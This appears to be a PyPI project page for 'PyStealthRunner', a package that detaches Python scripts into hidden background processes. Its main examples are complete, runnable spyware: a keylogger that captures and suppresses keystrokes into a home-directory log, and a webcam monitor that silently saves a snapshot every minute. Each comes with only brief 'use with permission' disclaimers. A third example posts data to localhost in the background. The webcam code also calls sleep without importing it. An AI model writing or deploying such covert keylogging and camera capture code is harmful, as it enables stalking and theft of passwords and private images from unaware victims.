Run Python scripts as background processes for ethical hacking and automation.
Project description
PyStealthRunner
PyStealthRunner is a Python package for running scripts as background processes without a GUI, ideal for ethical hacking tasks like monitoring or data testing (use only with explicit permission).
How It Works
PyStealthRunner internally manages Python scripts as detached background processes. When you use the Runner class to launch a script, it:
- Spawns a New Process: Uses Python's
subprocessmodule to start a new interpreter instance running your script, with special environment variables set to indicate background mode. - Environment Control: Sets
PYSTEALTH_BG=1for the background process, so your script can detect if it is running in background mode and adjust its behavior accordingly. - Process Tracking: Maintains a PID file or in-memory registry to track running scripts, allowing you to check status or stop them later.
- Cross-Platform: Handles process spawning and termination in a way that works on Windows, Linux, and macOS.
- Communication: Optionally uses a local TCP port (default: 50506, configurable via
PYSTEALTH_PORT) for simple status and control messaging between the main process and background scripts.
This design allows you to run, monitor, and stop scripts programmatically, without needing to manage OS-level process details yourself.
Features
- Run Python scripts discreetly in the background.
- Cross-platform: Windows, Linux, macOS.
- Simple API to start, stop, and check script status.
- Use cases: keylogging, data testing, webcam monitoring (for authorized testing).
Installation
Requires Python 3.6+. Install via pip:
pip install pystealthrunner
Or clone and install:
git clone https://github.com/SdxShadow/PyStealthRunner.git
cd pystealthrunner
pip install .
Usage
Use the Runner class to manage background scripts:
from pystealthrunner import Runner
runner = Runner()
pid = runner.run_script() # Run current script
print(f"PID: {pid}")
print(runner.status()) # Check running scripts
runner.stop_script(pid) # Stop script
Methods
run_script(script_path=None): Runs a script in the background. If no path, uses the calling script. Returns PID.stop_script(pid): Stops the script with the given PID.status(): Returns PIDs of running scripts.
Environment Variables
PYSTEALTH_PORT: Communication port (default: 50506).PYSTEALTH_BG: Set to "1" for background scripts (auto-handled).
Examples
1. Keylogger
Logs keystrokes to a file for authorized security testing.
from pystealthrunner import Runner
import keyboard
import datetime
import os
if __name__ == "__main__":
runner = Runner()
if os.environ.get("PYSTEALTH_BG") != "1":
pid = runner.run_script()
print(pid)
exit()
log_file = os.path.expanduser("~/keylog.txt")
while True:
event = keyboard.read_event(suppress=True)
if event.event_type == keyboard.KEY_DOWN:
ts = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
with open(log_file, "a") as f:
f.write(f"[{ts}] {event.name}\n")
Run it directly (no extra file needed):
python keylogger.py
Output in ~/keylog.txt:
[2025-07-22 17:34:00] a
[2025-07-22 17:34:01] enter
Note: Requires pip install keyboard. Use only with explicit permission on authorized systems.
2. Data Sender
Sends data to a target URL in the background for testing server responses.
from pystealthrunner import Runner
import requests
from time import sleep
import os
if __name__ == "__main__":
runner = Runner()
if os.environ.get("PYSTEALTH_BG") != "1":
pid = runner.run_script()
print(pid)
exit()
i = 10
while i > 0:
try:
payload = {"data": f"test{i}", "source": "pystealthrunner"}
requests.post("http://127.0.0.1:9090/submit", json=payload)
with open(os.path.expanduser("~/data_sent.log"), "a") as f:
f.write(f"Sent data test{i}\n")
except:
pass
sleep(2)
i -= 1
Run it directly:
python data_sender.py
Output in ~/data_sent.log:
Sent data test10
Sent data test9
Note: Requires pip install requests. Use only on authorized test servers.
3. Continuous Webcam Monitor
Captures webcam snapshots periodically for security testing.
from pystealthrunner import Runner
import cv2
import datetime
import os
if __name__ == "__main__":
runner = Runner()
if os.environ.get("PYSTEALTH_BG") != "1":
pid = runner.run_script()
print(pid)
exit()
cap = cv2.VideoCapture(0)
if not cap.isOpened():
exit()
save_dir = os.path.expanduser("~/webcam_captures")
os.makedirs(save_dir, exist_ok=True)
while True:
ret, frame = cap.read()
if ret:
ts = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
cv2.imwrite(f"{save_dir}/capture_{ts}.jpg", frame)
sleep(60) # Capture every minute
cap.release()
Run it directly:
python webcam_monitor.py
Saves images to ~/webcam_captures/capture_YYYYMMDD_HHMMSS.jpg.
Note: Requires pip install opencv-python. Use only with explicit permission.
Use Cases
- Ethical hacking: Keylogging, data testing, webcam monitoring (with permission).
- Automation: Run scheduled tasks or silent monitoring.
Notes
- Scripts must be valid
.pyfiles. - Ensure legal authorization for hacking-related scripts.
Troubleshooting
- Script Fails: Verify
.pyfile and dependencies. - Port Conflicts: Set
PYSTEALTH_PORTto an open port. - Permissions: Ensure write access for PID file and logs.
Contributing
Submit issues or PRs at GitHub.
License
MIT License.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file pystealthrunner-1.0.0.tar.gz.
File metadata
- Download URL: pystealthrunner-1.0.0.tar.gz
- Upload date:
- Size: 7.4 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
05c7f5ad8a109a4269da83abbf93f7742c15d2281027a246dfa535f5e02039ba
|
|
| MD5 |
d852c172ca650579e1c01653ae760df4
|
|
| BLAKE2b-256 |
6a97f7b0e000e04e430c4edf1c3543eedb0875f52151b5b81f3caaecd5fcce72
|
File details
Details for the file pystealthrunner-1.0.0-py3-none-any.whl.
File metadata
- Download URL: pystealthrunner-1.0.0-py3-none-any.whl
- Upload date:
- Size: 8.0 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.3
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
a682413ba3be8fe6d54bb6752167297d20300669374c79b4073e601d02f79734
|
|
| MD5 |
93a427ff8bd8854883c8b4b3ba97fc01
|
|
| BLAKE2b-256 |
3567a5ed6a249b32549c19b05c7046b47551856c5c6c79546cfbebb77597db5d
|